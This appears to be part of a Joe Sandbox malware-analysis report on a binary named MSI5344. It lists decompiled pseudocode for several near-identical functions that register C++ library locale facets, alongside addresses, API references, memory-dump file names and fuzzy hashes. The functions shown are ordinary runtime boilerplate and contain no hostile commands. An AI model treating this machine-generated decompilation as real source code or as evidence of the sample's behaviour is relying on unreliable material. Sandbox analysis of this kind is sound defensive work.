				_t66 = _t63 * 8;
				if (_t63 -  *((intOrPtr*)(_t55 + 0x18)) >= 0) goto 0xaf6dc092;
				_t44 =  *((intOrPtr*)(_t55 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t44)) != 0) goto 0xaf6dc0fa;
				goto 0xaf6dc094;
				if ( *((char*)(_t55 + 0x24)) == 0) goto 0xaf6dc0ad;
				E00007FF77FF7AF6E8848(_t25);
				if (_t63 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6dc0b2;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t45)) != 0) goto 0xaf6dc0fa;
				if (_t64 == 0) goto 0xaf6dc0bc;
				goto 0xaf6dc0fa;
				_t27 = E00007FF77FF7AF6DBD40(_t45, _t64,  &_a24, _t65, _t63, _t64);
				if (_t45 == 0xffffffff) goto 0xaf6dc112;
				_t50 = _a24;
				_a8 = _t50;
				E00007FF77FF7AF6E8810(_t27, _t45, _t50);
				_t29 =  *((intOrPtr*)( *_t50 + 8))();
				 *0xaf754690 = _t50;
				_a8 = 0;
				return E00007FF77FF7AF6E8BDC(_t29,  &_a16);
			}

0x7ff7af6dc000
0x7ff7af6dc00b
0x7ff7af6dc015
0x7ff7af6dc01b
0x7ff7af6dc022
0x7ff7af6dc027
0x7ff7af6dc031
0x7ff7af6dc03a
0x7ff7af6dc040
0x7ff7af6dc047
0x7ff7af6dc049
0x7ff7af6dc051
0x7ff7af6dc059
0x7ff7af6dc065
0x7ff7af6dc06a
0x7ff7af6dc071
0x7ff7af6dc075
0x7ff7af6dc081
0x7ff7af6dc083
0x7ff7af6dc08e
0x7ff7af6dc090
0x7ff7af6dc098
0x7ff7af6dc09a
0x7ff7af6dc0a3
0x7ff7af6dc0a5
0x7ff7af6dc0b0
0x7ff7af6dc0b5
0x7ff7af6dc0ba
0x7ff7af6dc0c4
0x7ff7af6dc0cd
0x7ff7af6dc0cf
0x7ff7af6dc0d4
0x7ff7af6dc0dc
0x7ff7af6dc0e7
0x7ff7af6dc0ea
0x7ff7af6dc0f1
0x7ff7af6dc111

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DC015
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DC03A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DC065
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6DC0DC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DC0FF
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DC112

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: a101fceecf8933a32ee5b7ec1b6120e2f4a29bd0a644907496ea3b74211546a5
Instruction ID: 5adf13f6c70348d8960fa31436ea775582ebfa66301212bc05186004bafb8909
Opcode Fuzzy Hash: a101fceecf8933a32ee5b7ec1b6120e2f4a29bd0a644907496ea3b74211546a5
Instruction Fuzzy Hash: 5731B326A0BE8681EA05AF25D8002F9E356FB84B90FCA1132DA4D472F4DF7DE452C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DECB0 Relevance: 9.1, APIs: 6, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF7AF6DECB0(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t50;
				long long _t55;
				intOrPtr _t62;
				signed long long _t63;
				long long _t64;
				void* _t65;
				signed int _t66;

				_t43 = __rax;
				_t65 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t64 =  *0xaf754698; // 0x0
				_a24 = _t64;
				_t62 =  *0xaf7546f8; // 0x0
				if (_t62 != 0) goto 0xaf6ded21;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf7546f8 - _t62; // 0x0
				if (_t35 != 0) goto 0xaf6ded10;
				_t22 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t22 + 1;
				 *0xaf7546f8 = _t43;
				_t25 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t63 =  *0xaf7546f8; // 0x0
				_t55 = _a8;
				_t66 = _t63 * 8;
				if (_t63 -  *((intOrPtr*)(_t55 + 0x18)) >= 0) goto 0xaf6ded42;
				_t44 =  *((intOrPtr*)(_t55 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t44)) != 0) goto 0xaf6dedaa;
				goto 0xaf6ded44;
				if ( *((char*)(_t55 + 0x24)) == 0) goto 0xaf6ded5d;
				E00007FF77FF7AF6E8848(_t25);
				if (_t63 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6ded62;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t45)) != 0) goto 0xaf6dedaa;
				if (_t64 == 0) goto 0xaf6ded6c;
				goto 0xaf6dedaa;
				_t27 = E00007FF77FF7AF6DEF70(_t45, _t64,  &_a24, _t65, _t63, _t64);
				if (_t45 == 0xffffffff) goto 0xaf6dedc2;
				_t50 = _a24;
				_a8 = _t50;
				E00007FF77FF7AF6E8810(_t27, _t45, _t50);
				_t29 =  *((intOrPtr*)( *_t50 + 8))();
				 *0xaf754698 = _t50;
				_a8 = 0;
				return E00007FF77FF7AF6E8BDC(_t29,  &_a16);
			}

0x7ff7af6decb0
0x7ff7af6decbb
0x7ff7af6decc5
0x7ff7af6deccb
0x7ff7af6decd2
0x7ff7af6decd7
0x7ff7af6dece1
0x7ff7af6decea
0x7ff7af6decf0
0x7ff7af6decf7
0x7ff7af6decf9
0x7ff7af6ded01
0x7ff7af6ded09
0x7ff7af6ded15
0x7ff7af6ded1a
0x7ff7af6ded21
0x7ff7af6ded25
0x7ff7af6ded31
0x7ff7af6ded33
0x7ff7af6ded3e
0x7ff7af6ded40
0x7ff7af6ded48
0x7ff7af6ded4a
0x7ff7af6ded53
0x7ff7af6ded55
0x7ff7af6ded60
0x7ff7af6ded65
0x7ff7af6ded6a
0x7ff7af6ded74
0x7ff7af6ded7d
0x7ff7af6ded7f
0x7ff7af6ded84
0x7ff7af6ded8c
0x7ff7af6ded97
0x7ff7af6ded9a
0x7ff7af6deda1
0x7ff7af6dedc1

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DECC5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DECEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DED15
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6DED8C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DEDAF
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DEDC2

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 08d9a329a6a84e8fa2f4f2d4df28d9f86ce0c53640895121ea596091f3e8c901
Instruction ID: d8714882bf2bb816f174f9a242489fa642ba211d19b7e5647d1f457019994f5e
Opcode Fuzzy Hash: 08d9a329a6a84e8fa2f4f2d4df28d9f86ce0c53640895121ea596091f3e8c901
Instruction Fuzzy Hash: 93318626A4BEC291EA15BB11D4503F9F356EB54BA0F8A1232D95C472B9DE7CE452C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DEB90 Relevance: 9.1, APIs: 6, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF7AF6DEB90(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t50;
				long long _t55;
				intOrPtr _t62;
				signed long long _t63;
				long long _t64;
				void* _t65;
				signed int _t66;

				_t43 = __rax;
				_t65 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t64 =  *0xaf7546a0; // 0x0
				_a24 = _t64;
				_t62 =  *0xaf7546e8; // 0x0
				if (_t62 != 0) goto 0xaf6dec01;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf7546e8 - _t62; // 0x0
				if (_t35 != 0) goto 0xaf6debf0;
				_t22 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t22 + 1;
				 *0xaf7546e8 = _t43;
				_t25 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t63 =  *0xaf7546e8; // 0x0
				_t55 = _a8;
				_t66 = _t63 * 8;
				if (_t63 -  *((intOrPtr*)(_t55 + 0x18)) >= 0) goto 0xaf6dec22;
				_t44 =  *((intOrPtr*)(_t55 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t44)) != 0) goto 0xaf6dec8a;
				goto 0xaf6dec24;
				if ( *((char*)(_t55 + 0x24)) == 0) goto 0xaf6dec3d;
				E00007FF77FF7AF6E8848(_t25);
				if (_t63 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6dec42;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t45)) != 0) goto 0xaf6dec8a;
				if (_t64 == 0) goto 0xaf6dec4c;
				goto 0xaf6dec8a;
				_t27 = E00007FF77FF7AF6DF150(_t45, _t64,  &_a24, _t65, _t63, _t64);
				if (_t45 == 0xffffffff) goto 0xaf6deca2;
				_t50 = _a24;
				_a8 = _t50;
				E00007FF77FF7AF6E8810(_t27, _t45, _t50);
				_t29 =  *((intOrPtr*)( *_t50 + 8))();
				 *0xaf7546a0 = _t50;
				_a8 = 0;
				return E00007FF77FF7AF6E8BDC(_t29,  &_a16);
			}

0x7ff7af6deb90
0x7ff7af6deb9b
0x7ff7af6deba5
0x7ff7af6debab
0x7ff7af6debb2
0x7ff7af6debb7
0x7ff7af6debc1
0x7ff7af6debca
0x7ff7af6debd0
0x7ff7af6debd7
0x7ff7af6debd9
0x7ff7af6debe1
0x7ff7af6debe9
0x7ff7af6debf5
0x7ff7af6debfa
0x7ff7af6dec01
0x7ff7af6dec05
0x7ff7af6dec11
0x7ff7af6dec13
0x7ff7af6dec1e
0x7ff7af6dec20
0x7ff7af6dec28
0x7ff7af6dec2a
0x7ff7af6dec33
0x7ff7af6dec35
0x7ff7af6dec40
0x7ff7af6dec45
0x7ff7af6dec4a
0x7ff7af6dec54
0x7ff7af6dec5d
0x7ff7af6dec5f
0x7ff7af6dec64
0x7ff7af6dec6c
0x7ff7af6dec77
0x7ff7af6dec7a
0x7ff7af6dec81
0x7ff7af6deca1

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DEBA5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DEBCA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DEBF5
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6DEC6C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DEC8F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DECA2

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 91d0ffdb32858c08614d647f845feabbde3ca5464258935daf80bf676bc75c4d
Instruction ID: 7022bf15ea4215cee17a1166d432a7d482bc6b45087746d69332268ea96a995f
Opcode Fuzzy Hash: 91d0ffdb32858c08614d647f845feabbde3ca5464258935daf80bf676bc75c4d
Instruction Fuzzy Hash: 6E319426A0BEC281EA15AF11D4503F9F366FB547A0F8A2132D95C472B5DE3CE451C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DEA70 Relevance: 9.1, APIs: 6, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF7AF6DEA70(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rsi;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t50;
				long long _t55;
				intOrPtr _t62;
				signed long long _t63;
				long long _t64;
				void* _t65;
				signed int _t66;

				_t43 = __rax;
				_t65 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t64 =  *0xaf7546a8; // 0x0
				_a24 = _t64;
				_t62 =  *0xaf7546f0; // 0x0
				if (_t62 != 0) goto 0xaf6deae1;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf7546f0 - _t62; // 0x0
				if (_t35 != 0) goto 0xaf6dead0;
				_t22 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t22 + 1;
				 *0xaf7546f0 = _t43;
				_t25 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t63 =  *0xaf7546f0; // 0x0
				_t55 = _a8;
				_t66 = _t63 * 8;
				if (_t63 -  *((intOrPtr*)(_t55 + 0x18)) >= 0) goto 0xaf6deb02;
				_t44 =  *((intOrPtr*)(_t55 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t44)) != 0) goto 0xaf6deb6a;
				goto 0xaf6deb04;
				if ( *((char*)(_t55 + 0x24)) == 0) goto 0xaf6deb1d;
				E00007FF77FF7AF6E8848(_t25);
				if (_t63 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6deb22;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t45)) != 0) goto 0xaf6deb6a;
				if (_t64 == 0) goto 0xaf6deb2c;
				goto 0xaf6deb6a;
				_t27 = E00007FF77FF7AF6DF310(_t45, _t64,  &_a24, _t65, _t64);
				if (_t45 == 0xffffffff) goto 0xaf6deb82;
				_t50 = _a24;
				_a8 = _t50;
				E00007FF77FF7AF6E8810(_t27, _t45, _t50);
				_t29 =  *((intOrPtr*)( *_t50 + 8))();
				 *0xaf7546a8 = _t50;
				_a8 = 0;
				return E00007FF77FF7AF6E8BDC(_t29,  &_a16);
			}

0x7ff7af6dea70
0x7ff7af6dea7b
0x7ff7af6dea85
0x7ff7af6dea8b
0x7ff7af6dea92
0x7ff7af6dea97
0x7ff7af6deaa1
0x7ff7af6deaaa
0x7ff7af6deab0
0x7ff7af6deab7
0x7ff7af6deab9
0x7ff7af6deac1
0x7ff7af6deac9
0x7ff7af6dead5
0x7ff7af6deada
0x7ff7af6deae1
0x7ff7af6deae5
0x7ff7af6deaf1
0x7ff7af6deaf3
0x7ff7af6deafe
0x7ff7af6deb00
0x7ff7af6deb08
0x7ff7af6deb0a
0x7ff7af6deb13
0x7ff7af6deb15
0x7ff7af6deb20
0x7ff7af6deb25
0x7ff7af6deb2a
0x7ff7af6deb34
0x7ff7af6deb3d
0x7ff7af6deb3f
0x7ff7af6deb44
0x7ff7af6deb4c
0x7ff7af6deb57
0x7ff7af6deb5a
0x7ff7af6deb61
0x7ff7af6deb81

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DEA85
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DEAAA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DEAD5
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6DEB4C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DEB6F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DEB82

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 6f4c203f3302f8b5f4447bfaeefb478bbe9ec2ce5b2864ede5a74c74ebb39016
Instruction ID: 4ac520de21751ae8942b1dd146e1abdc49418e923c6c411236994bd4121ad481
Opcode Fuzzy Hash: 6f4c203f3302f8b5f4447bfaeefb478bbe9ec2ce5b2864ede5a74c74ebb39016
Instruction Fuzzy Hash: 7231A626A0BEC290EA15AF11E5502F9F356FB55BA0F8A2132D94D472B5DF3CF452C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EC060 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7AF6EC060(void* __ecx, intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t34;
				void* _t36;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				long long _t52;
				long long _t57;
				intOrPtr _t64;
				signed long long _t65;
				long long _t66;
				void* _t67;
				void* _t68;
				signed int _t69;

				_t44 = __rax;
				_t67 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t66 =  *0xaf753110; // 0x0
				_a24 = _t66;
				_t64 =  *0xaf753068; // 0x0
				if (_t64 != 0) goto 0xaf6ec0d0;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t36 =  *0xaf753068 - _t64; // 0x0
				if (_t36 != 0) goto 0xaf6ec0bf;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf753068 = _t44;
				_t24 = E00007FF77FF7AF6E8BDC(_t44,  &_a8);
				_t65 =  *0xaf753068; // 0x0
				_t57 = _a8;
				_t69 = _t65 * 8;
				if (_t65 -  *((intOrPtr*)(_t57 + 0x18)) >= 0) goto 0xaf6ec0f1;
				_t45 =  *((intOrPtr*)(_t57 + 0x10));
				if ( *((intOrPtr*)(_t69 + _t45)) != 0) goto 0xaf6ec157;
				goto 0xaf6ec0f3;
				if ( *((char*)(_t57 + 0x24)) == 0) goto 0xaf6ec10c;
				E00007FF77FF7AF6E8848(_t24);
				if (_t65 -  *((intOrPtr*)(_t45 + 0x18)) >= 0) goto 0xaf6ec111;
				_t46 =  *((intOrPtr*)(_t45 + 0x10));
				if ( *((intOrPtr*)(_t69 + _t46)) != 0) goto 0xaf6ec157;
				if (_t66 == 0) goto 0xaf6ec11b;
				goto 0xaf6ec157;
				_t26 = E00007FF77FF7AF6EDE50(0, _t34, _t66,  &_a24, _t67, _t68);
				if (_t46 == 0xffffffff) goto 0xaf6ec16f;
				_t52 = _a24;
				_a8 = _t52;
				E00007FF77FF7AF6E8810(_t26, _t46, _t52);
				_t28 =  *0xaf7354d0();
				 *0xaf753110 = _t52;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6ec060
0x7ff7af6ec06b
0x7ff7af6ec075
0x7ff7af6ec07b
0x7ff7af6ec082
0x7ff7af6ec087
0x7ff7af6ec091
0x7ff7af6ec09a
0x7ff7af6ec09f
0x7ff7af6ec0a6
0x7ff7af6ec0a8
0x7ff7af6ec0b0
0x7ff7af6ec0b8
0x7ff7af6ec0c4
0x7ff7af6ec0c9
0x7ff7af6ec0d0
0x7ff7af6ec0d4
0x7ff7af6ec0e0
0x7ff7af6ec0e2
0x7ff7af6ec0ed
0x7ff7af6ec0ef
0x7ff7af6ec0f7
0x7ff7af6ec0f9
0x7ff7af6ec102
0x7ff7af6ec104
0x7ff7af6ec10f
0x7ff7af6ec114
0x7ff7af6ec119
0x7ff7af6ec123
0x7ff7af6ec12c
0x7ff7af6ec12e
0x7ff7af6ec133
0x7ff7af6ec13b
0x7ff7af6ec14a
0x7ff7af6ec150
0x7ff7af6ec16e

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EC075
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EC09A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC0C4
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6EC13B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC15C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EC16F

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 2af67edd7212fff11aae2dc763a1bc82bc4f83561d7f4a864040f1b3ad126452
Instruction ID: fc9abcdb665b001d62e1073b7771bc3ca107866de025d93efc78f9e5be1f2148
Opcode Fuzzy Hash: 2af67edd7212fff11aae2dc763a1bc82bc4f83561d7f4a864040f1b3ad126452
Instruction Fuzzy Hash: 9231A226A0ABC2D4EA05BF25E8402F9E356EB44BA0F9A1131DA5C473B5DE3DE446C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E2788 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7AF6E2788(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t33;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t51;
				long long _t56;
				intOrPtr _t63;
				signed long long _t64;
				long long _t65;
				void* _t66;
				void* _t67;
				signed int _t68;

				_t43 = __rax;
				_t66 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t65 =  *0xaf752da0; // 0x0
				_a24 = _t65;
				_t63 =  *0xaf752d80; // 0x0
				if (_t63 != 0) goto 0xaf6e27f8;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf752d80 - _t63; // 0x0
				if (_t35 != 0) goto 0xaf6e27e7;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf752d80 = _t43;
				_t24 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t64 =  *0xaf752d80; // 0x0
				_t56 = _a8;
				_t68 = _t64 * 8;
				if (_t64 -  *((intOrPtr*)(_t56 + 0x18)) >= 0) goto 0xaf6e2819;
				_t44 =  *((intOrPtr*)(_t56 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t44)) != 0) goto 0xaf6e287f;
				goto 0xaf6e281b;
				if ( *((char*)(_t56 + 0x24)) == 0) goto 0xaf6e2834;
				E00007FF77FF7AF6E8848(_t24);
				if (_t64 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6e2839;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t45)) != 0) goto 0xaf6e287f;
				if (_t65 == 0) goto 0xaf6e2843;
				goto 0xaf6e287f;
				_t26 = E00007FF77FF7AF6E31AC(0, _t33, _t45, _t65,  &_a24, _t66, _t65, _t66, _t67);
				if (_t45 == 0xffffffff) goto 0xaf6e2897;
				_t51 = _a24;
				_a8 = _t51;
				E00007FF77FF7AF6E8810(_t26, _t45, _t51);
				_t28 =  *0xaf7354d0();
				 *0xaf752da0 = _t51;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6e2788
0x7ff7af6e2793
0x7ff7af6e279d
0x7ff7af6e27a3
0x7ff7af6e27aa
0x7ff7af6e27af
0x7ff7af6e27b9
0x7ff7af6e27c2
0x7ff7af6e27c7
0x7ff7af6e27ce
0x7ff7af6e27d0
0x7ff7af6e27d8
0x7ff7af6e27e0
0x7ff7af6e27ec
0x7ff7af6e27f1
0x7ff7af6e27f8
0x7ff7af6e27fc
0x7ff7af6e2808
0x7ff7af6e280a
0x7ff7af6e2815
0x7ff7af6e2817
0x7ff7af6e281f
0x7ff7af6e2821
0x7ff7af6e282a
0x7ff7af6e282c
0x7ff7af6e2837
0x7ff7af6e283c
0x7ff7af6e2841
0x7ff7af6e284b
0x7ff7af6e2854
0x7ff7af6e2856
0x7ff7af6e285b
0x7ff7af6e2863
0x7ff7af6e2872
0x7ff7af6e2878
0x7ff7af6e2896

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E279D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E27C2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E27EC
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6E2863
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E2884
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6E2897

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 33827de08b2b59562925d7d1b47f5a0f0c0ba85f38797cf2534e4d37c308a841
Instruction ID: dc2410f9f45535502298a2ab589b214f81ffc819e4fa1fd3236dcf7b409ca472
Opcode Fuzzy Hash: 33827de08b2b59562925d7d1b47f5a0f0c0ba85f38797cf2534e4d37c308a841
Instruction Fuzzy Hash: E5316126E0AA82C5FA05BB55D8002F9E356EB54B90FDA1131DA1D477F5DE3DE846C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EBF48 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00007FF77FF7AF6EBF48(void* __ecx, intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t34;
				void* _t36;
				intOrPtr _t44;
				intOrPtr _t45;
